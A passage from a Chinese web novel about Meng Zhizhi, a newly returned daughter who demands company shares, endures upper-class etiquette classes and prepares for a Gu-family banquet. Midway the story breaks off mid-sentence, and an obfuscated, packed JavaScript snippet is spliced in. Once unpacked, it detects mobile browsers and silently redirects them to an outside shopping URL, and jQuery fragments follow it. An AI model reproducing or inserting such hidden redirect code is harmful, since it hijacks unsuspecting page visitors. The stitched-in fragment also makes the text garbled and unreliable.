“怎么回事?”孟建平震怒,质问道。
孟家人听到动静跑上来一看,见到的是满地狼藉还有一个神情崩溃的孟萌。
“孟知知!你做了什么!你把萌萌怎么样了!别以为顾淮景喜欢你你就有护身符!”孟不凡怒吼道。
孟知知则淡定多了:“我想要公司百分之二的股份。你给不给。”
“孟知知你昏头了?你才回来几天啊,张口闭口就敢要股份!”孟建平恼怒。
“那如果是萌萌要,你给不给?”
孟不凡咬牙切齿:“你憋什么坏呢?萌萌本来就有公司的股份。”
孟知知抱着手臂,不屑一顾道:“就那点?跟普通股民多不了多少,萌萌不是你唯一的亲妹妹吗?百分之二都舍不得?”
孟不凡脸色青一阵红一阵的,跟马路上的红绿灯差不多。
孟建平忍着怒气:“你才回来几天家里就乌烟瘴气,果然是个扫把星。”
孟知知不以为然:“所以呢,股份给不给?不给我明天就不去上班,你们自己跟顾淮景说,我退出项目组。”
富豪最害怕的事情就是不再成为富豪。
孟家的财政危机是从前年就开始了,能撑到现在算他们血厚,撑到了顾氏企业愿意跟他们合作,一旦失去这个大腿,他们阶级立马滑落。
虽然不至于露宿街头,但这种落差感是富贵了一辈子的孟建平所不能接受的。
所以,他毫不犹豫地将孟萌推了出去。
“行。”孟建平咬牙切齿。
剩下的三个孟家人惊呆了。
万万没想到,孟建平竟然会同意。
孟知知则淡定得多:“明天我要看见股份转让合同。”
比起那些所谓贤良淑德乖巧听话的名声,什么都不如实打实的经济来的实惠。
做个乖女儿有用吗,乖这个字能像信用卡一样去消费吗?
要是有用,乖女儿这个称号都轮不到女人。
就像孟夫人,比起担心情绪失控的乖女儿,她更关心新买的邮轮上能不能养小马,明天的艺术展览自己的包包能不能碾压其他太太,虽然这样说真的很糟,但是这就是现实。
孟知知已经上了半个月的所谓的贵族礼仪课程了。
课程无聊至极又繁琐做作。
高脚杯怎么拿,拿哪里,刀叉怎么使用,牛排精确切到几公分恨不得拿尺子量,品红酒和咖啡时留下的唇印都有说法。
吃饭排位座次都有章法,谁先动筷都有讲究,随身携带手帕香水口喷,防止有任何不得体的行为冒犯他人。
出席不同活动就要搭配不同的珠宝首饰然后还要认识各种名牌产品和款式,以防不能第一眼就认出对方的地位和价值。
每天下课后,孟知知和柳清秋恨不得抱头痛哭一场。
每次哭完她都后悔要少了。
怎么才要那么点钱。
都不够她的精神损失费。
这天孟知知下课回家,又见到孟萌站在回廊抱着胳膊觑着她。
孟知知哭丧着脸:“你前面二十来年过的都是这种日子?”
孟萌有些幸灾乐祸:“这才哪到哪?高尔夫、马术、还有钢琴小提琴这些你还没学呢。”
孟知知抬手制止:“就此打住。这活谁爱干谁干!”
“可是你以后嫁给顾淮景,这些都是必须要会的,上流社会的太太,社交活动也是一种政治策略。”
孟知知看着自己虚浮肿胀的脚趾,突然抬眼望她:“谁说我要嫁给顾淮景了?谁造谣污蔑?老娘撕了他的嘴!”
“你不想嫁给他对他那么殷勤算什么?爸妈都以为你跟他十拿九稳了。”孟萌轻移莲步。
她今晚穿了一件浅绿色的真丝睡裙,下摆尾端是一圈花苞似的涟漪,走起路来,步步生莲,摇曳生姿。
“我当他是老板。老板懂不懂?他要是不高兴,我们全家都得喝风!”孟知知不爽道。
“他们性缘脑吧,跟顾淮景沾点边就脑补我以后要跟他结婚,难怪守不住家业。”孟知知嘲讽道。
孟萌来到她身边,说:“不是你营造这种氛围吗?怎么?股份一到手就不认账了?”
孟知知捂着肚子,“饿了。”
孟萌越过她往楼下走,眉目淡淡,“来吧,餐厅还有点剩的汤汤水水,没人喝。”
孟知知脸色一喜,“我喝我喝。”
说是剩菜,却好好的在温菜板上放着,话梅排骨,玉米糖水,还有几个大肉包子,全是孟知知喜欢的碳水。
眼见孟知知饿狼扑食一般,孟萌蹙起精致的细眉,“你们上课不是有牛排吃吗?怎么饿成这样,就你这个仪态,这周末别想过关。”
孟知知边吃边诉苦边摇头,“那个牛排半生不熟,我闻着味道都想吐。还有那个沙拉,半点沙拉酱都不肯放多点,就像吃草一样,这几天晚上吃的我脸都绿了,给我根绳子,谁还分得清老牛和我啊。”
孟萌噗嗤一声笑了。
孟知知从美食中抬起脸来,“你不怪我了吗?”
前几天,可是一点好脸都没有。
孟萌撑着脸,白嫩的小脸上满是嫌弃,“顾好自己吧你,如果你不能得到顾总的青睐,爸爸妈妈不会放过你的。我们家必须有个人跟顾家联姻。”
“呵呵。那是他们的想法,难不成还能掰着顾淮景的脑袋跟我去民政局啊,他们有那个本事早就飞升成仙了。”孟知知吐槽道。
孟萌四处看了下,见四下无人,这才安心,“这些话你跟我说说得了,可别落在爸妈耳朵里。”
孟知知含糊道:“知道啦。”
“这个周末会个宴会,顾氏举办,在烟霞山的山庄举行,我们全家都要去。”孟萌说。
孟知知指着自己,“我也要去?”
“不然呢,我为什么要说全家?”孟萌无奈道。
“他们不是嫌我丢人吗?”孟知知问道。
这种宴会,她真的没兴趣,好不容易有个周末,她更想睡到自然醒,然后玩手机饿到下午去吃个自助餐,大吃特吃,再散个步回来洗澡继续玩手机,躺着休息。
多美好的一天啊。
孟萌有些得意,“爸妈都觉得你经过这段时间的培训,应该可以拿的出手了。但是他们只是想带你见见世面,并没有打算在这个宴会上公开你的身份。”
“在顾氏举
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357797|199703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
办的宴会公布我的身份,除非那两脑子秀逗了。”孟知知嘻嘻笑道:“那我岂不是吃吃喝喝就完事了。”
“你还没有礼服吧?”孟萌反问道。
“爸妈都忘了你还没买礼服呢。”孟萌的表情有些幸灾乐祸。
孟知知浑然不觉:“你借我一件不就好了,我明白的,不挑,你就给我你不喜欢然后不好看的给我撑撑场面就行了。到时候我洗干净给你。”
孟萌脸上闪过一丝诧异:“礼服是不能水洗的,而且只能穿一次,不能再穿第二次,不然就是对举办方的不尊重。”
孟知知觉得烦,“就一个宴会而已,这的那的,都是去显摆的,有什么好玩的。”
孟萌摇头:“这些都是豪门间交流和维系关系的必要社交,不管你以后嫁不嫁给顾淮景,只要你还在孟家,就没有办法避免,我劝你尽快适应。”
孟知知苦笑:“就没有那种只花钱不办事的活法吗。就比如说永远不公布我的身份,我也不上班,就靠分红和股份。”
孟萌微微一笑:“做梦去吧,你觉得爸爸会浪费掉一个女儿不去联姻吗?”
“那他自己怎么不去?说不定那些亿万富翁也好他这口呢。”孟知知口无遮拦道。
孟萌难得黑脸:“这活他三十年已经干过了。”
“哈?”
孟萌解释道:“他跟妈妈就是商业联姻。”
“嗨……”孟知知失望道:“我还以为有什么大八卦是我这个VIP会员不知道的呢。”
孟萌优雅起身,“吃完了就上楼来选礼服。”
“好咧。”
孟知知跟在她身后:“我能带人去吗?”
孟萌突然停下脚步,孟知知猝不及防,差点一头撞上。
孟萌猛地回头面上警惕:“你想带谁?”
“小柳啊。”
孟知知理所应当的表情触怒了孟萌。
“小柳小柳小柳!你上班对着她,下班跟她去上课,周末还要带她去宴会,一天24小时,你们十六个小时都在一起!比家人相处的时间还长!”孟萌突然发难。
“那怎么了?她可是我的上班搭子。”孟知知浑然不觉。
孟萌气呼呼地上楼了,在孟知知准备跟着她进房间的时候啪的一下,华丽的欧式大花门在她面前关上了。
“不试衣服了吗?”孟知知在门口喊。
“不试了!我累了!你明天跟你的好姐妹试去吧!”门内传来孟萌气急败坏的声音。
“哦,我明白了。明天带小柳一起过来试衣服是吧?你可真大方!我这就去跟她说,她一定很高兴。哈哈哈哈!”孟知知一蹦三跳地回了自己房间,只留下孟萌一个人在房间生闷气。
顾氏的房产在全球都有,烟霞山的半山腰有一个大型的苏式园林,是他们早年按照宋朝时期的苏杭园林复刻的,比传统的只能容纳二三十人聚餐的现在扩展到百十来人同时参与的大型园林建筑。
里面每一块假山石头都是名家出品价值百万,更不提那个雕梁画柱的人力成本和各种名贵的花花草草,光是每年维护的成本都要上千万。
用孟萌的话说,里面的每片叶子都值钱。